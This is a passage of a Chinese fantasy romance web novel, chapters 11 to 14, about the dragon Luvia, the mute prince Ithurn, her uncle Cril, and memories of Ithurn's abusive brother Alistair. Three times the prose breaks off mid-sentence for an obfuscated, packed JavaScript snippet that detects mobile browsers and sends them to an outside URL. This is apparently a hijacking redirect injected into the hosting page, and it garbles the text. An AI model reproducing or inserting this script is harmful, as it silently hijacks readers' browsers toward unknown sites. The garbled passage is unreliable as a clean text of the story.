伊瑟恩由此推测露维亚至少还能再活一千年。他想到自己很快就会老去,有些不自信地继续问:“打碎镜子后,你还要我陪你吗?” 露维亚想都没想:“龙不会抛弃伴侣。” 他瞪大眼睛,反应了好一会儿才继续划动沙子:“原来,我是露维亚的伴侣。” 露维亚反问:“不是你说要相爱的么?难道,你喜欢我,却不想和我建立真正的关系?” 伊瑟恩大脑一片空白。 看他这副模样,露维亚生气地想到了什么,语气变得很冲:“你总不会是为了活下去才说要相爱的吧!” 伊瑟恩赶忙摇头摆手,他抹平刚才写的字,想写别的话。可露维亚哪里还有心情看!她郁闷到了极点。 “好啊,好啊!”她嚷道,“我竟然一点都没看出来你不喜欢我。” 她把一个简陋的茉莉花环扔到地上,恶狠狠地瞪他一眼,然后扭头就走。 伊瑟恩连忙把花环捡起来,戴在头顶,然后起身去追她。茉莉花不断释放出清冽的芬芳,令他心神动摇,他总算大胆地牵住了她的手,求她原谅自己。 露维亚哼了一声。 他指了指露维亚,然后比划出龙飞翔的样子,张开手臂,大大地画了一个圈。然后又指自己,试图告诉她:我喜欢你,可我们的差距如此之大。 “我都知道啊。难道,我会不知道自己是龙,而你是人类么?”她不懂问题出在了哪儿。 伊瑟恩比划不明白,干脆在她手心里写字:“我会死去。我怕你伤心。” 露维亚深深看向伊瑟恩的眼睛:“你干什么这么消极?不想我伤心,就想办法活久点。而且,没有一条龙会因为伤心就活不下去。” 她没再多说,也不让伊瑟恩继续解释,而是猛地把他摁倒在地面,金色的细沙以及细碎的贝壳沾了满身,她啃咬似的吻他的嘴唇,作势要抢走他所有的空气,令他心跳如鼓,无法呼吸。 伊瑟恩在露维亚身下翻覆,他想控制自己,忽又觉得今天已经把露维亚气的够呛了,千万不该再违逆她。 何况,这也是他期待已久的事。 被动的顺从一点点变成了主动的索取,他只是没经验,又不是没欲望。他开始无师自通地回吻她。 他感觉自己抱着一团被阳光照耀的云,又轻、又温暖。他小心翼翼地碰触着露维亚的皮肤,不敢用上十足的力气,仿佛在对待最名贵的丝绸。 他无法呼唤她的名字,于是,在这个长吻结束之后,他拿出全部的爱意,用最真诚的目光凝望露维亚金色的眼睛。 露维亚,别生气了,好吗? 你现在是否能感受到,我愿给你我不值一文的真心,我不会再自怨自艾,我将为你生出无尽的勇气,随便我们接下来的命运是什么…… 露维亚突然很混乱,她被卷入一种前所未有的激情,她有些想推开他炙热的身体,却更想迎接他。她讨厌这种失去控制,被感性支配的感觉,于是她愈发蛮横、粗鲁。 眼前的人一语不发,只是不断喘息,像在隐藏不可告人的秘密,又像把真相和盘托出。每一道细微的表情都让露维亚很在意。 如果伊瑟恩会说话,这个时候,他会对她说什么呢? 她确信自己已经把他弄疼了,可是,她分不清他眼中的光芒是痛苦,还是幸福。 露维亚不得不停下来。 “伊瑟恩,我想确认一下,”她说话的声音微微沙哑,像是从更远地地方传来,缥缈地落在伊瑟恩的耳畔,“你愿意么?” 她不知道自己说的话有什么问题,大颗大颗的眼泪突然从伊瑟恩的眼睛里坠落。 她心慌意乱,想给他擦一擦,手上却全是沙子,只好低下头,继续用嘴唇去吻他。咸咸的眼泪渗入唇缝,令她极度不安。 “怎么了?怎么了啊!算了,你不喜欢的话就算了,你害怕的话……” 她决定让步,不甘心也没办法,他只是个人类。 她原谅了他的卑微懦弱,在绝对的力量面前,他违心地装喜欢她也不是什么不能理解的事。 比起得不到伊瑟恩,她更讨厌自己扮演一个恃强凌弱的角色。这会让她想起神王,想起用几片面包换来少女献身的老男人。 伊瑟恩摇头,泪如雨下,他无声地抽噎着,嘴唇颤抖,试图用最简单,最有效率的方式告诉露维亚自己愿意,他已经无可救药地爱上她。 他握住她的手腕,引着她触碰自己。 “哦,我的天,这可能是你唯一称得上健壮的地方。”她惊讶之后,以古怪的幽默感破坏了气氛,她咯咯发笑,笑得全身都在颤抖,然后,她接纳了他。 龙把王子抓走,带他飞过灰烬森林,去往神秘的龙窟。 有别于人类的想象,龙窟并不是冰冷又危险的所在,而是一个漆黑的乐园。伊瑟恩在幽暗的隧道中穿行,循着赤色蝴蝶一样的火光,不断步入深处。 海浪不断冲刷水岸,在这无人知晓的岛屿上,不同种类的植物交错生长,一如此刻,他们的白发与金发卷缠在一起。 “伊瑟恩,龙并不喜欢白茉莉。”她疲倦而满足地平躺在伊瑟恩身边,说出真相,“但是龙喜欢坚韧的小花,就像你,你知道吗?你好香……” 真是糟糕的告白,她心想,也许自己该去翻翻伊瑟恩那本诗集,也用上什么月亮、星星之类的比喻,使些优雅华丽的辞藻,但她开始犯困,眼睛一点点地阖上。 她在白天睡着,睡得很沉,这一次, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15265987|166567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 噩梦没有来打扰她。 约十天之后,黑龙克里尔出现在灰烬森林尽头。他不甚熟练地化为人形,然后惊讶地发现了躲匿在岩石阴影中的伊瑟恩。 克里尔困惑地皱眉,上下打量了伊瑟恩一会儿。很快,他断定伊瑟恩是露维亚养的宠物,龙都喜欢亮晶晶的东西嘛!这人类的金发十分耀眼,眼睛也清澈透亮,像两粒蓝宝石。值得被龙收留。 他问:“露维亚呢?” 伊瑟恩警惕地看着对方,他知道露维亚和同族的关系不好。 “我问你露维亚在哪儿?诶呀!”克里尔抓了抓自己的头发,很伤脑筋地东张西望,“是我的人类语言说得不准确吗?真是急死我了。” “算了,我等她回来。”克里尔大喇喇地迈步要闯入露维亚的地盘。伊瑟恩怎能容许?露维亚可没说过会有龙来做客。 他有些不自量力地拦在了克里尔前边。 克里尔停下了。 “哦!你不是宠物,而是守门人么?” 克里尔憨憨一笑,伸出宽厚的手掌,拍了拍伊瑟恩的肩膀。 这些日子伊瑟恩健康了不少,不再像以前那样消瘦单薄,以人类的标准,说得上身材不错。但跟克里尔相比,他实在弱到不堪一击。一巴掌下来,伊瑟恩险些被他拍进土里。 伊瑟恩的脸因吃痛而变形,他强忍着不肯倒下,愤恨地看着无礼的不速之客。 克里尔有些尴尬,局促地说了声:“对不起。那我就在门口等吧。反正她天黑之前总要飞回来的。” 伊瑟恩一愣。 聪明人可以装傻,但是傻瓜装不了聪明人。伊瑟恩一下子就看出对方是条笨龙。 伊瑟恩开始观察克里尔,人形态的克里尔肤色更深,呈现出一种经常晒太阳的健康棕色。银色短发乱糟糟的,狂野之余,又有点漫不经心的慵懒感。眼目和露维亚很像,都是锋利的金色瞳孔。但他的眉毛没有高高地挑起,而是平平地伸向两边,眼睛大而圆,表情像只……狗。 伊瑟恩咬了咬嘴唇,不安的感觉消散了一些。 一人一龙沉默地对峙。爱说话的克里尔显然比伊瑟恩煎熬,他受不了这种沉默,开始主动找寻话题。 “人类啊,那个……你知道我们龙是从蛋里孵化出来的,对吧?” 伊瑟恩:“……” 克里尔自顾自地说了下去:“露维亚的蛋壳是纯正的红色,可漂亮啦!” 很好,他成功地激怒了伊瑟恩。 一方面伊瑟恩不理解为什么比起鲜活的露维亚,龙更愿意去赞美她的蛋壳。另一方面,他有些嫉妒对方知道这么多关于露维亚的事。 克里尔对人类表情中的愤怒丝毫不察:“蛋壳越接近红色,她的魔法就越强。我们都说露维亚的出生是被祝福的。她也确实非常聪慧,超凡脱俗,和别的龙都不一样。” 伊瑟恩刚想认可地一笑,就听黑龙继续说:“但龙不该这么强。强大到这种地步,她就脱离了龙的范畴。我想,露维亚一定已经发现……” 伊瑟恩的心脏像被谁用力攥了一下。 他知道,他隐约记得听露维亚说过类似的事。 不可以强过头。 身体和心灵一样重要,失衡会引发问题。会是什么问题?他开始快速地挥舞手臂,打手势,请求这头陌生黑龙继续说下去。 12. 第 12 章 克里尔没心没肺,想到什么说什么。伊瑟恩听者有心,他由那些碎片的叙述推测出,和普通的龙相比,露维亚的心灵过载来得过早,并且情况更加严重。 因为她聪明又有天赋,也因为镜中幻象一直在强行搅动她的回忆。 据露维亚的性格,她一定讨厌别人还没把情况搞清楚,就拿她当病人来关怀。于是伊瑟恩决定沉住气,暂时不要问东问西,再坚持五十多天,先把镜子打碎再说。 “露维亚到底什么时候回来?”克里尔问。 伊瑟恩指了指远处的天空。 露维亚追着一朵雨云飞行,她要借雷暴抛光自己的鳞片。此刻,老化的鳞片已尽数脱去,亮蓝色的电火花在半透明的红鳞上噼啪作响,她感到自己焕然一新。 露维亚迫不及待地返程,她想按住伊瑟恩的手腕,不让他比手势,也不让他写字,坏笑着看他表情失控。 她喜欢伊瑟恩隐忍到最后,无法抗拒地沉沦,释出疯狂的爱意,颤抖着喘息,明明很快乐,却眼泪汪汪的…… “啊!龙的快乐就是这么简单。” 所以,当她在灰烬森林尽头看到了大块头的克里尔时,翅膀瞬间耷拉下来,她开始用尾巴焦躁地拍打地面,腾起呛鼻的烟尘。 克里尔对自己的不受欢迎浑然不觉,笑嘻嘻地凑上去:“露维亚,我有一个好消息!” 露维亚缓缓化为人形,问伊瑟恩:“他没欺负你吧?” 伊瑟恩摇头,回她一个恬静的浅笑。 然后,他捧住露维亚的手,长途飞行使她的手有些冰凉。他似乎完全忘了露维亚可以用火焰取暖,一边摩挲她,一边轻轻从口中呵出热气。 露维亚眯起眼,享受这一切。 “难道你一点都不好奇?”克里尔很没眼色地扒拉她的肩膀,把她拽到一旁,“露维亚,猜一猜嘛!” 她嘁了一声,“无非是神王改派别的龙去帮他抓人类少女了,让你如释重负。” 克里尔不敢相信地瞪大眼睛:“你怎么知道?难道,除了我还有其他龙在和你联络?不,这不可能。你的亲族都死光了,而别的龙都不喜欢你。” 是不是有点太过分了? 伊瑟恩皱眉看向克里尔,若自己能开口,一定会大声喝止他,让他赶紧闭嘴。 可是,露维亚显然习惯了舅舅不过脑子的直白话语,不以为意地说:“因为你不想表现得残酷凶狠,你的快乐就是置身事外。” “为什么我觉得你并不是在夸我?” “因为我本来就不是在夸你。” “露维亚,尊重一下舅舅!”克里尔大叫。 “尊重?”露维亚不留情面地说,“我很难尊重你。我没觉得你和其他龙有什么不同。” 公龙不知疲倦地玩着无聊的角力游戏,发起决斗、炫耀鳞片、比个头、秀肌肉、认老大……好像很威风,实际上只要遇到更强的存在,他们就会默契地一起低头。 母龙则真心实意地认为自己不擅长战斗,安于现状,不肯冒险。毕竟,为神王拉车也不是什么苦差。无非是从生到死,世世代代,受祂驱使。 “你离开神界,偷偷来看我,只不过是想做一点最低成本的反抗,让自己心里好受点罢了。” 克里尔顿时愣住。 话一出口,露维亚也有些后悔。克里尔是她的舅舅,是唯一只关心自己的龙,她不该这么刻薄。 然而每次见面,克里尔都是这样一副搞不清状况的样子,让露维亚很恼火,心中像有一盆闷燃的碳。 似乎看出她的焦躁,伊瑟恩扶着她的后背,安抚地拍了拍。 “算了,”她冷静下来,低声道歉,“对不起,我不该这么说。” 克里尔宽宥地笑笑,他本来也没生气,连忙摆了摆手:“没事的,露维亚。你的性格火爆,很像迦娜,我早习惯了。” 听到迦娜的名字,露维亚彻底哑了声,眼眸低垂,扭过脸看向别处。 “而且你也没说错,我早晚得给祂抓一个人类。” 克里尔坦诚地说,“我实在缺乏违逆祂的勇气,只好采用折中的办法。我今天来,是想继续上次的话题,问问你愿意成为神妻的人类有哪些特征,该怎么找?” 露维亚无可奈可地摇头:“舅舅,这个世界上不存在甘愿牺牲的人类。” “可你上次不是说,有个为了几片面包嫁给老头的少女么?难道她不是自愿的么?” “也许吧。但对吃不饱的人来说,面包比什么都重要。她没有更好的选择,这种情况下的自愿根本不算数。” 露维亚想了想,又说:“如果你打算威逼、利诱、哄骗,就去找胆怯、虚荣、愚蠢的人类。如果你希望对方自愿变得悲惨,那准一个都找不着。” 这番话无疑触动了伊瑟恩心底最敏感的那根弦。 她能轻而易举把他撕碎,所以怎么作贱他都行,甚至伊瑟恩自己都没打算反抗,一心想要认命。可露维亚却慷慨地给了他善意、尊重,给了他爱情。 巨龙俯身细嗅一朵小花,叫他如何不迷恋…… 克里尔只能承认露维亚说得对。 道理已经捋顺,问题却没解决。克里尔变得愁眉苦脸,准备先回去,慢慢琢磨。 临走前,他终于想起要问露维亚:“你怎么突然开始饲养人类了?” “哦,伊瑟恩是我的伴侣。” 先是心脏骤停般的沉默,紧接着是克里尔惊天动地的尖叫。黑龙的吼声穿透整座灰烬森林,不断延宕,恐怕远在希尔弗王宫的阿利斯塔都会从铁王座上震落下来。 “啊!啊?露维亚!这对吗?” 露维亚无所谓地说:“有什么不对?我挺满意的。” 克里尔呼呼喘气,仿佛即将喷出一道黑烟,眼睛瞪得愈发又大又圆。伊瑟恩羞窘地后退半步,避开克里尔惊疑的审视。 “可是!你和人类生不出蛋啊!我、我觉得生不出……但是也不一定?你等我回去跟年纪大的龙们打听一下。” 露维亚忍不住翻了个白眼。她心想,克里尔真是分不清主次。在要紧的问题上逃避,在小事上瞎操心。 她没好气地说:“哪怕生一百枚蛋,我也只会全都砸烂。生什么生?给神王生一个小奴隶吗?” “话虽如此!但我怎么向死去的姐姐交待!啊啊啊!” “……少摆长辈架子。罗里吧嗦的。” 她终于失去耐性,抬腿一踹,把遭受冲击,不断哀嚎的克里尔轰走。 他们步入龙窟,在镜前席地而坐,一起吃了点东西。 今天伊瑟恩从法阵取出来的饭菜也很普通,普通到有些过于简陋:卷心菜汤、面包、一小块煎肉排,没有山珍海味,也没有殷红的美酒,完全不像一个王子的食谱。 露维亚由 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15265988|166567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 此看出,伊瑟恩从来没有得到过好的对待。黄油烤南瓜配鱼肉,应该就是他能想到的最好吃的东西。 她留心在飞翔时俯瞰人类的厨房,可惜,单凭烤南瓜并不能找到伊瑟恩的家乡。 其实伊瑟恩并未要求她这样做,是露维亚自己想帮他,对伊瑟恩好,她自己也会由衷喜悦。像某种不知名的疼痛得到了安慰,尽管她从未意识到自己需要安慰。 “最近做的梦都很浅,对么?”她问。 伊瑟恩点点头。无非是挨打、挨骂、挨饿。 只有一个幻象让他掉了眼泪,那就是阿利斯塔强迫他去观看玛格丽特公主的死亡。 她是位真正的公主,雍容端庄,极尽优雅,面对阿利斯塔时,她的嘴角甚至噙着轻蔑的笑意。 可当她被插穿气管,血喷涌出来,从容的气度便无法维持,只剩动物求生的本能。她在血泊中狼狈地挣扎,五官因恐惧而变形,不断发出凄凉的哀吟。 惨状映入眼目,即便和这位姐姐几乎不认识,伊瑟恩还是感到心碎,他被吓得浑身发抖,转身想逃,却被人摁在了原地。 阿利斯塔很享受,因为他随时可以用相同的方式,夺走伊瑟恩的性命。阿利斯塔一直追求的,正是这种绝对的掌控感。 伊瑟恩深呼吸,再次告诉自己不要害怕,残暴不是真正的强大。 他牵住露维亚的手,在她手心里写:“我还想梦见更多。” 露维亚说:“别勉强自己。” 他告诉露维亚自己不要紧,笑着眨了眨眼睛。然后,他仰起头,向露维亚索吻。 “撒娇也没用,”露维亚躲开了他别有用心的亲近,“你想都别想,虽然上次有惊无险,但我觉得……至少再等十天。” 被识破的伊瑟恩讪讪一笑,乖巧地低下头,把唇贴到了她的手背上,像一个不规范的吻手礼。 露维亚顺势抬手抚向他的脸,指腹传来轻微的刺痛感,原来是他唇边的几粒新长出来的胡茬。 她佯装生气,想把手抽回,却觉出他的呼吸正在变乱。下一秒,手指被他含住了些许。 明明已经得到了手指,伊瑟恩的眼睛却一直盯着她的唇。 太明显了。他想得到露维亚的涎液,想要再一次被她的尖牙刺穿,只为做一个更可怕的噩梦。 “为什么呢?为什么你不愿忘记,为什么你非要想起?” 刚问完,她就懂了。确实不该遗忘,爱和恨不能含糊。在这一点上,他们其实很像。 一手搅动着他温热的唇舌,一手环住他的腰。脖颈、下颌、耳畔,全都戏弄够了,露维亚才让伊瑟恩如愿。 怀抱着爱人,露维亚咬牙切齿:“我早晚会一寸一寸地碾碎他们。” 伊瑟恩笑了笑,捋弄她的头发。把手放下来时,他摸到了那本摊在地面的诗集,哀伤的字句闯入眼帘。 妈妈,我怀念与你共度的夜晚, 再无一处永恒的摇篮, 能给我婴儿般的睡眠。 不过,伊瑟恩只是稍微愣了愣,便把书合上,放在一边。 是的,他们失去了妈妈的庇护,坠入无边黑暗,但母爱带来的安全感已转化为战胜黑暗的勇气。 伊瑟恩搓了搓露维亚肋下的囤带,又亲了亲她的额头,用这种方式代替一声“晚安”。 露维亚,亲爱的龙女士,我温柔勇猛的爱人,晚安。 13. 第 13 章 木柴毕剥作响,炉火烧得不旺,寒气透着窗缝进来,这扇窗户总是关不严,发出吹哨子似的声音。伊瑟恩裹了条厚毯子,安稳地睡在妈妈身边。 他是国王之子,不过国王实在不缺孩子,如果不是伊瑟恩一出生就在王宫,现任王后又浑不在意,他绝无可能留在这里,被人叫一声殿下。 妈妈年轻貌美,可国王已经到了吃东西尝不出味道的年纪,他一时兴起,随手摘下鲜嫩的果子,咬了一口,就厌倦地放在一边。 她识趣地缩到角落,安静地腐烂。生活既不能向前,也回不到过去。 她只剩一丝残存的希望。 她希望阿利斯塔能兑现他的承诺,给她一笔安家的钱,或者不给钱……能让她离开王宫就好。她认为自己所做的一切配得上这份报酬。可经过上次的对话后,她又不太确定了。 熟悉的脚步声响起,门被推开,木合页发出令人后脑勺发麻的动静。 “吱嘎——” 伊瑟恩不想面对这个奇怪的哥哥,干脆缩在毯子里,闭紧眼睛,装作没有醒。小孩子不懂事,却有敏锐的直觉,他能感到阿利斯塔很危险。 “我是来感谢你的。”低沉的嗓音,缓慢的语速,有种惑人的魅力。 “如果没有你帮我拿到大卫的卷轴,我怎会在北境找到宝藏?尽管我回来得有些晚,可我记得给你一份。” 阿利斯塔从怀里掏出了什么东西,撂在桌上,摇晃着转了两圈,倒下时发出清脆的声响。 似乎觉得这样不够郑重,他又重新把它拾起,按到她手里。手指相碰,她好像被烫到了,惊惶地一缩。 “收下吧,”阿利斯塔笑了笑,“这是你的奖励。” “不,我不要这个,殿下,您不是说……” “你不满意吗?” 他的音量突然变得很小:“你为我做的事别人也能做到,我能给你的别人却无法给你。当初要没有我,你早被磋磨死了,是你自己说要报答。可结果呢?没错,你帮我找到了卷轴,可你却摇身一变,成了我父亲的情妇,还生了孩子……有比这更恶劣的恩将仇报么?” 伊瑟恩听到了妈妈倒吸气的声音。 为什么会变成这样? 被欺压的女仆得到了王子的解围,于是感激不尽。可到最后,她竟然背上了一笔滚雪球似般不断增加的道德债务。 原来,只有地位差不多的人才谈得上互相帮助。上位者施舍的点滴恩惠,底下的人是要拿命去还的。 “可……您到底想让我做什么呢?我已经见不到陛下的面很久了,也不再负责打扫书房……我现在实在对您没有用。” “别哭,别哭。”他温柔得不像话,“这副无助的表情,会让人心疼,对么?” 他缓慢地倾身,如狮子靠近猎物,先是捏了捏她带泪的脸颊,而后把她掀倒在床沿。 “嘶……该死!你是狗么?” 原来是伊瑟恩,他不知什么时候从毯子里窜出来,死死咬住了阿利斯塔的手腕。 阿利斯塔吃痛地甩开他,然后扼住伊瑟恩的喉咙,一点一点地用劲。 “不,不!别这样殿下!他太小了什么都不懂!” 在伊瑟恩满面涨红,无法呼吸,即将失去意识时,他终于看清了妈妈的脸。 天呢,原来自己长得这么像她。 她也有双蓝眼睛。 她似乎回过味来,意识到在阿利斯塔面前怎么挣扎都没有用,于是泄气地说:“殿下,停下吧。只要您不杀他……” 阿利斯塔轻哼一声,松了手,见她屈服到底,又有点没意思。 离开之前,他把那闪光的东西重新抛出,在空气里留下一条清晰的弧线,正落在妈妈的手边:“拿着吧。” 无所谓接受或拒绝,因为本来也没人在意她的想法。妈妈默默查看伊瑟恩的伤势,表情晦暗不明,犹豫间,她已把手覆向刚刚阿利斯塔掐出的痕迹。 她一边用力,一边不安地念叨:“对不起,孩子,对不起。” 在幻象中,伊瑟恩觉出妈妈在颤抖。 他悲哀地想到,我本就不是妈妈自己想生的孩子,我是她蒙受屈辱的证明、受人威胁的把柄、被迫留在王宫的牵绊。我是她永不愈合的伤口。 “对不起,对不起!” 不,妈妈,生我的人当然有资格杀我。 不是你的错,不是你的错…… 然而她没能狠下心,下一秒,眼泪砸到了他的脸上,妈妈紧紧搂住伊瑟恩:“天呢,我在做什么?你不像他,你像我。你是妈妈的孩子!要活下去,我们一起活下去,没事的,会有办法的,再想想办法。” 打这之后,伊瑟恩开始发高烧,头脑昏昏沉沉,恍惚间有位医生来过,给他灌了一堆乱七八糟的药。 也许因为梦中的自己正在生病,幻象的时间流速变得很慢。他仿佛真的回到了童年,回到那个不够温暖的房间,有一张床,一个被窝,被年轻的妈妈认真照顾着。 不过,生病的感觉真糟糕! 他感觉自己的呼吸有了重量,骨头在身体里互相抵抗着,能感觉到疼的地方都在疼,血液一边奔流,一边沸腾。鼻子和喉咙都特别干,舌头粘在了上颚,活像一块干燥的软木塞子。 医生又来了一回,这次的药好苦。 妈妈要用什么付药钱呢?哦,有阿利斯塔给的……等等,那是什么? 他努力地去分辨,看到一块坚硬的片状晶体,半透明的红色,宛如被冻在冰里的火。 是龙鳞。 “伊瑟恩!伊瑟恩!喂,醒醒啊,你别吓我!” 天已大亮,伊瑟恩还是趴在镜前沉沉睡着。 露维亚轻轻晃动他的身体,他却毫无反应。她突然不安,怕他再也醒不过来。 龙是不善反思的生物。漫长生命里,若每件事都反刍一遍,然后陷入自责,日子还过不过了? 可现在她真的在反思。 首先,她觉得自己太着急了。没错,伊瑟恩喜欢她,愿意留在她身边做噩梦。可是,她三百年都没解开诅咒,干嘛他一来,就非得在一百天内完成呢! 她完全可以让伊瑟恩每攻克一个幻象,就休息几天,去别处过夜。被困在这里的是露维亚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15265989|166567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,又不是他。 其次,她后悔松动伊瑟恩的心门。哪怕他撒娇,哪怕他表现出足够的勇气与坚强,那也不该由着他任性。怎么可以这么心软! “伊瑟恩,你真……” 她想说:你真可恶,你把我变成了一条奇怪的龙。不过,她本来也和别的龙不一样,不全是伊瑟恩的原因。 她就这样一边怨他,一边怜他,抱着他穿过传送阵,去往海岛中央的泉边,指望和煦的风和明媚的阳光能让他好受些。 露维亚卷起宽阔的树叶,掬一捧清泉,喂到他干燥的嘴唇里。 他呛了一口,胸腔因咳嗽而剧烈起伏,总算睁开了眼睛。 “伊瑟恩!你知不知道,现在都快中午了!” 她好凶,可是,她让伊瑟恩感到安心。他喜欢她中气十足的嗓门、一听就不好惹的暴躁语气,以及她高大身材投在地上的一片阴影。他觉得她像座巍峨的山,又像高山上一棵美丽的树,而他是树下依傍着她的一顶蘑菇。 伊瑟恩笑了笑,揉揉眼睛,坐起身,拉她的手,把脸埋到她的手掌心,小口小口地亲。发出小狗舔盘子似的一串“啵唧”声。 露维亚没脾气了。 “刚从噩梦里走出来,就这么高兴。哼!你在人类里肯定是不够聪明的那种。” 他开始连比划带写字,告诉他自己这次的发现。妈妈的样子,自己嗓子变哑有可能的原因。 露维亚眉头越皱越紧。 妈妈……竟然想亲手杀死伊瑟恩? 露维亚不太理解,想了一会儿,猜测可能跟她不想生蛋的原因差不多吧。 很快,伊瑟恩提到了最关键的点:阿利斯塔在北境找到了宝藏,其中有一枚龙鳞。 “和我一样的红鳞对么?” 伊瑟恩点头。 露维亚又问:“形状呢?” 他画了一个不规整的多边形,看不出是什么。 露维亚只好化为龙身,趴伏在地面,让伊瑟恩比对着寻找。 龙面部的鳞片细小圆滑,颈部的鳞片则是菱形的,背部的鳞片最为厚硬,连接着脊突和骨板,侧腹部像水滴型,尾部是更狭长的水滴型。 伊瑟恩在她身上攀爬,蹬踩,人类的体重力道刚好,让她像做按摩一样舒服。可露维亚愈发不安,她翻了个身,露出腹部。伊瑟恩终于停下,把手按在龙的胸前。 露维亚僵住了。 这里是心脏。 胸前的鳞片始终在缓慢地生长,保护着龙体内的器官,不会轻易脱落。 “北境么?米亚说,阿利斯塔用武力征服了北境的索鲁人。屠龙勇士大卫的卷轴,他留下了宝藏,龙鳞……” 她乱糟糟地想了一会儿,金眸不断闪烁,她的记忆清晰又准确,一但用心拼凑,真相便呼之欲出。 她几乎立刻意识到,那枚鳞片属于图尔。 “伊瑟恩,我对阿利斯塔越来越好奇了,我得去希尔弗王宫看看。” 伊瑟恩忙打手势,他愿意一起去。 “不,你留在这儿。等我回来给你带礼物。相信我,你会喜欢它的。” 14. 第 14 章 希尔弗独具特色的尖顶建筑组成了一座灰白色的城市。 每隔几个街区就有一口公共的水井,抱着水罐的人们在这里聚集,一边排队等待打水,一边闲聊。 在这里,露维亚意外遇到了“第十个”。 被献祭后奇迹生还的少女艾达俨然成了一个很受欢迎的明星。人们围着她,求她再讲一次被龙抓走的故事。 “龙居住在灰烬森林的深处。她有一面魔法镜,还有一把梳子。” 一开始,她还能原原本本地讲述自己的经历与见闻。后来,受听众热情的感染,她开始增加一些想象的细节。 “龙在镜子里预见了未来,镜子开口说话,指引她开启一段命中注定的旅程。” 混在人群中的露维亚一阵凌乱。 什么会说话的魔法镜,什么命中注定,什么旅程?她一到晚上就会被传回那可恶的镜子前面,哪儿都去不了。 可是,她竟被这荒谬的故事吸引了,双脚始终没有挪动。 她听得入了神。 “没意思!”有人唱起反调,“这和屠龙勇士大卫的故事根本没法比!” 没等艾达说什么,人群里就有揶揄他的声音:“怎么?你也想杀掉一头龙,迎娶公主,获封公爵?” 大家笑了一阵,井边充满了愉快的空气,艾达也不由翘起嘴角,提着水走远。 露维亚快步追上去,冷不丁出现在艾达的身侧,“关于屠龙勇士大卫,我想问……” 艾达隐约觉得这双金眼睛在里见过,却怎么都想不起来,“你是?” “露维亚。” 她没特意告诉别人自己是龙,但也没有十分小心地掩饰。说话直愣愣的。 “你想知道什么呢?露维亚。” “结局。大卫最后怎样了?” 艾达说:“他和公主结婚,然后被封公爵,守卫北境。这连小孩子都知道啊!” 露维亚向她道谢,临走时,不忘称赞她的故事:“你应该多讲一讲你自己,你令我印象深刻。尤其是你怀里藏的那把小刀。” 她指了指艾达的衣襟,刀柄已经露了出来。 等艾达反应过来,把刀重新掖进衣服里收好时,露维亚已无影无踪。 她化为龙身,飞落在希尔弗王宫角落的塔楼上,不时抖动翅膀,宛如站在屋顶休憩的鸽子。 在人类的文化里,龙可不是什么和平的象征。卫兵迅速在塔下集结,无数长矛指着她,更有弓箭手拉满了弓,蓄势待发。 露维亚很不高兴。 因为这座塔楼轻轻一碰就噼噼啪啪地往下掉砖,窗户狭小得连爪子都探不进去,里面几乎照不见光,黑洞洞的,闻起来还有一股陈腐的霉味。 伊瑟恩曾像囚徒一样住在这里。 “你们的王在哪儿?”她用龙语说道。 闻听这恐怖的咆哮,前排的卫兵已经面白如纸,双腿软得像两根煮烂的面条。更有胆小的,干脆直接晕了过去。 阿利斯塔始终没有出现。 匆匆赶来的是那侏儒弄臣,他身穿彩衣,头顶戴着一顶不伦不类的女式冠冕,样子像王后的冠,上边却没有宝石,而是胡乱粘着几片羽毛,用一些不值钱的玻璃珠和贝壳做点缀。 仔细看,他穿的也是女装。戏仿贵妇人的样子,脖子上缠绕着项链,胸前绑着缎带蝴蝶结,三公尺多一点的身高,生生勒出了腰线。 他跌跌撞撞地跑到人前,手持一柄权杖。 何等可笑…… 他竟用玩具指着她。 “大家不要怕!神明庇佑着希尔弗!”侏儒弄臣摆出架势,以奇诡的姿势挥动权杖。 露维亚大为困惑,不知道这人类哪里来的勇气。她猫抓老鼠似的勾住他的衣服,把他拎至眼前观察。 弄臣这才发现权杖根本没用,瞬间抖如筛糠。 他真心实意地以为陛下赏给他的权杖上附有神明的威力,能让他在这些人高马大的卫兵面前充一次英雄哩! 被主人欺骗的愤恨转瞬而逝,他立刻熟稔地切换回笑脸,小心而谄媚地开口:“是伊瑟恩殿下惹您不高兴了么?他没能让您快活对吗?等陛下从北境回来,我一定能说服陛下给您找一个更好的男人!” 露维亚费解地看着这个人类中的畸形儿。同样身有残疾,他本该知道受人欺辱,被人嘲笑的滋味。为什么他要这样对伊瑟恩?难道,阿利斯塔对他更好么? 锐利的金眸长久地盯着他。 在巨龙无声的审视下,侏儒弄臣的精神很快崩溃,他开始大喊救命,过了一会儿,他竟呜呜地哭了。 呃,露维亚还什么都没干呢。 